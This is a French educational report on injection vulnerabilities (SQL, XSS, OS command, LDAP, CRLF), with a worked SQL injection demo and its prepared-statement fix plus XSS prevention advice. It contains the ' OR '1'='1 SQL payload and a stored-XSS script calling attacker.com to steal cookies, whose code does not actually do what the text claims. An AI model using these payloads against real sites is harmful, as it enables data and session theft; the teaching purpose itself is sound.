Sécurité des applications

Mohamad Atrash

Talal Jamal Din

Vulnérabilité;

Injections SQL

# Vulnérabilité

## Explication de la faille d’injection

Les failles d'injection sont un type de vulnérabilité de sécurité informatique particulièrement problématique pour les entreprises. Elles se produisent quand un attaquant parvient à insérer ou "injecter" du code malveillant dans une application, exploitant les failles dans le traitement des données d'entrée. Ces attaques peuvent prendre plusieurs formes, comme l'injection SQL, l'injection de script (XSS), ou l'injection de commande OS, et peuvent affecter aussi bien les systèmes en arrière-plan (backend) que d'autres utilisateurs connectés à l'application vulnérable.

## Types d’injections

Outre l'injection SQL, il est crucial de comprendre d'autres types de vulnérabilités d'injection pour une vision complète de la menace, nous allons parler surtout de l’injection SQL et XSS.

Injection de code SQL :

Cette faille permet à un attaquant d'insérer du code SQL malveillant dans les requêtes SQL effectuées par l'application. En exploitant cette vulnérabilité, l'attaquant peut accéder, modifier ou supprimer des données dans la base de données, voire compromettre tout le système.

Injection de Script Cross-Site (XSS) :

Cette vulnérabilité permet à un attaquant d'injecter des scripts malveillants dans les pages vues par d'autres utilisateurs. Cela peut entraîner le vol de cookies, de sessions, ou même de modifier l'affichage de la page pour l'utilisateur.

### Injection de Commande du Système d'Exploitation :

Ici, les attaquants injectent des commandes malveillantes qui sont exécutées au niveau du système d'exploitation du serveur. Cela peut mener à un contrôle total sur le serveur, permettant à l'attaquant d'accéder à des fichiers sensibles, de modifier des configurations, ou de déployer des logiciels malveillants.

### Injection LDAP :

Cette faille se produit dans les applications utilisant les services d'annuaire LDAP. L'attaquant peut modifier les requêtes LDAP pour lire des informations non autorisées ou manipuler les données de l'annuaire.

Injection CRLF (Carriage Return Line Feed) :

Cette technique consiste à injecter des caractères de contrôle (CR et LF) dans une application, ce qui peut être utilisé pour splitter la réponse HTTP et injecter des headers malveillants ou d'autres données.

### Gravite de la faille

L'impact de ces failles sur une organisation peut être considérable. Les attaquants peuvent, par exemple, exécuter des commandes sur les serveurs de l'entreprise, compromettre des bases de données, ou détourner les sessions d'autres utilisateurs. Cela peut mener à la perte de données sensibles, à des failles de sécurité majeures et même à un contrôle complet de certains systèmes de l'entreprise.

La gravité de ces attaques réside dans leur capacité à manipuler l'application afin qu'elle exécute des actions non prévues par les développeurs. Par exemple, dans une attaque par injection SQL, l'attaquant insère ou "injecte" des éléments de code SQL malveillants dans les requêtes destinées à la base de données. Ce type d'attaque peut permettre à un attaquant d'accéder à des informations confidentielles, de modifier ou de supprimer des données, ou même de prendre le contrôle total de la base de données.

### Impact sur entreprises

Ces failles représentent un risque majeur pour la sécurité informatique des entreprises. Elles peuvent entraîner des pertes financières importantes, nuire à la réputation de l'entreprise et mettre en danger les données personnelles des clients et des utilisateurs. De plus, la complexité et la variété des attaques par injection rendent leur détection et leur prévention difficiles, nécessitant une vigilance constante et des pratiques de développement sécurisé

# Études de Cas Réelles

Il est également instructif d'examiner des études de cas réelles d'attaques d'injection réussies pour mieux comprendre les risques et les conséquences.

Attaque sur Sony Pictures en 2011 :

Les attaquants ont utilisé une injection SQL pour accéder à la base de données, résultant en une fuite massive de données incluant des informations personnelles de milliers d'employés.

Heartland Payment Systems en 2008 :

Une injection SQL a permis aux pirates d'installer un spyware sur le système de traitement des paiements, compromettant des millions de données de cartes de crédit.

Attaque sur Yahoo! en 2012 :

Une injection SQL a conduit à la compromission de plus de 450 000 noms d'utilisateur et mots de passe.

# Démonstrations

## Injection SQL

Pour donner un contexte concret d'exploitation avec une architecture virtuelle simple, nous allons élaborer un exemple d'attaque par injection SQL, en utilisant l’exemple d’une attaque par injection SQL sur un site web de commerce électronique.

### Architecture virtuelle

**Utilisateur :** Envoie une recherche de produit au site web.

**Site Web :** Construit une requête SQL à partir de la saisie de l'utilisateur et l'envoie à la base de données.

**Base de Données :** Exécute la requête SQL et renvoie les résultats.

**Exploitation :**

Un attaquant saisit ' OR '1'='1 dans le champ de recherche. Le site web construit une requête SQL : SELECT \* FROM products WHERE name = '' OR '1'='1';. Cette requête renvoie tous les produits de la base de données, car '1'='1' est toujours vrai.

### Schéma

Utilisateur → Recherche (' OR '1'='1) → Site Web

Site Web → Requête SQL (SELECT \* FROM products WHERE name = '' OR '1'='1';) → Base de Données

Base de Données → Renvoie Tous les Produits → Site Web

### Parade

Pour contrer une vulnérabilité d'injection, comme celle d'injection SQL, une des meilleures approches est l'utilisation de requêtes préparées, aussi connues sous le nom de requêtes paramétrées. Voici une explication détaillée et une architecture virtuelle de cette solution.

### Explication de la solution

**Requêtes Préparées :** Au lieu d'insérer directement les entrées utilisateur dans une requête SQL, on utilise des requêtes avec des paramètres. Ces paramètres agissent comme des placeholders et sont remplacés par les entrées utilisateur de manière sécurisée.

**Séparation des Données et Commandes :** Cette méthode garantit que les données envoyées par l'utilisateur sont traitées comme de simples données et non comme une partie du code SQL, empêchant ainsi l'exécution de code malveillant.

### Architecture virtuelle

1. **Utilisateur :** Fournit les données d'entrée (par exemple, une recherche de produit).
2. **Application Web :** Reçoit les données d'entrée et les place dans une requête préparée.
3. **Requête Préparée :** Contient des placeholders pour les données d'entrée.
4. **Base de Données :** Exécute la requête préparée avec les données d'entrée sécurisées, renvoyant les résultats appropriés.

### Démonstration solution

Pour démontrer comment la requête d'exploitation serait traitée avec la solution des requêtes préparées, reprenons l'exemple de l'attaque :

### Scenario d’exploitation original

Un attaquant saisit **' OR '1'='1** dans le champ de recherche, ce qui conduit à la requête SQL dangereuse : **SELECT \* FROM products WHERE name = '' OR '1'='1';.** Cette requête renvoie tous les produits de la base de données.

#### Solution

1. **Entrée Utilisateur :** L'attaquant saisit toujours **' OR '1'='1.**
2. **Construction de la Requête :** L'application web crée une requête préparée, par exemple : SELECT \* FROM products WHERE name = ?;.
3. **Passage des Paramètres :** L'entrée de l'utilisateur (' OR '1'='1) est passée comme paramètre à la requête préparée.
4. **Exécution Sécurisée** : La base de données exécute la requête en traitant l'entrée de l'utilisateur comme une chaîne de texte littérale, pas comme une partie du code SQL. La requête devient donc : **SELECT \* FROM products WHERE name = '' OR '1'='1';** mais cette fois, la condition est traitée comme une simple chaîne de caractères recherchée dans les noms de produits, et non comme une instruction SQL à exécuter.

Dans ce scénario modifié, la base de données ne renvoie pas tous les produits, mais cherche un produit dont le nom serait littéralement ' OR '1'='1, ce qui est très probablement inexistant. Ainsi, l'attaque par injection SQL est neutralisée.

## Injections XSS

Une attaque XSS se produit lorsqu'un attaquant injecte un script malveillant dans une page web, qui est ensuite exécuté par le navigateur de l'utilisateur. Ce script peut être utilisé pour voler des informations comme des cookies de session, rediriger l'utilisateur vers un site malveillant, ou modifier l'affichage de la page.

### Architecture Virtuelle et Scénario d'Attaque

**Utilisateur :** Visite un site web et interagit avec des champs de saisie (par exemple, un forum ou un formulaire de commentaire).

**Site Web :** Inclut des données utilisateur dans sa réponse HTML sans les valider ou les échapper correctement.

**Navigateur de l'Utilisateur :** Exécute le script malveillant pensant qu'il fait partie du contenu légitime du site.

### Démonstration de l'Attaque

**Entrée de l'Attaquant :** L'attaquant soumet un commentaire sur un forum avec un script malveillant intégré, par exemple : **<script>fetch('https://attacker.com/cookie').then(response => document.cookie = response.cookie);</script>.**

**Traitement par le Site Web :** Le site web enregistre ce commentaire et l'affiche sur la page sans filtrer ou échapper le contenu du script.

**Impact sur l'Utilisateur :** Lorsqu'un utilisateur visite la page du forum, son navigateur exécute le script malveillant. Le script peut voler les cookies de l'utilisateur et les envoyer au serveur de l'attaquant.

### Schéma de l'Attaque

Utilisateur → Envoie Données (via formulaire) → Site Web

Site Web → Affiche Données (incluant script malveillant) → Page Web

Navigateur de l'Utilisateur → Exécute Script → Vol de Cookie/Redirection

### Mesures de Prévention

Pour prévenir les attaques XSS, les développeurs doivent :

**Valider et Nettoyer les Entrées :** S'assurer que toutes les entrées utilisateur sont vérifiées pour éviter l'injection de scripts.

**Échapper les Données :** Utiliser des fonctions d'échappement pour les données affichées dans les réponses HTML.

**Utiliser des Politiques de Sécurité de Contenu (CSP) :** Mettre en place des règles CSP pour contrôler les ressources autorisées à s'exécuter sur la page web.

# Principes de Sécurité dans le Développement

Pour prévenir les vulnérabilités d'injection, il est essentiel d'adopter des pratiques de développement sécurisé.

Validation des Entrées :

Il s'agit de vérifier et de nettoyer toutes les entrées utilisateur pour s'assurer qu'elles correspondent aux attentes (longueur, format, type, etc.).

## Echappement des Caractères Spéciaux :

Lorsque l'utilisation de requêtes préparées n'est pas possible, l'échappement des caractères spéciaux dans les entrées utilisateurs est crucial pour prévenir l'interprétation de ces entrées comme du code exécutable.

## Utilisation de Composants Fiables :

Choisir des frameworks et des bibliothèques reconnus pour leur sécurité peut réduire le risque d'injections, car ces outils intègrent souvent des mécanismes de prévention des attaques.

## Formation et Sensibilisation des Développeurs :

Une formation régulière des développeurs sur les meilleures pratiques de sécurité et les vulnérabilités courantes est essentielle pour maintenir la sécurité des applications.

Examen du Code et Tests de Sécurité :

Réaliser des examens de code manuels ou automatisés et effectuer régulièrement des tests de pénétration pour identifier et corriger les vulnérabilités.

# Références

https://cheatsheetseries.owasp.org/cheatsheets/Injection\_Prevention\_Cheat\_Sheet.html

https://owasp.org/www-community/Injection\_Flaws#:~:text=,effects%20of%20these%20attacks%20include

https://owasp.org/Top10/A03\_2021-Injection/#:~:text=%23%20%E3%80%900%E2%80%A0A03%20Injection%20,used%20directly%20in%20the%20interpreter

https://www.hubbase.io/blog/injection-vulnerability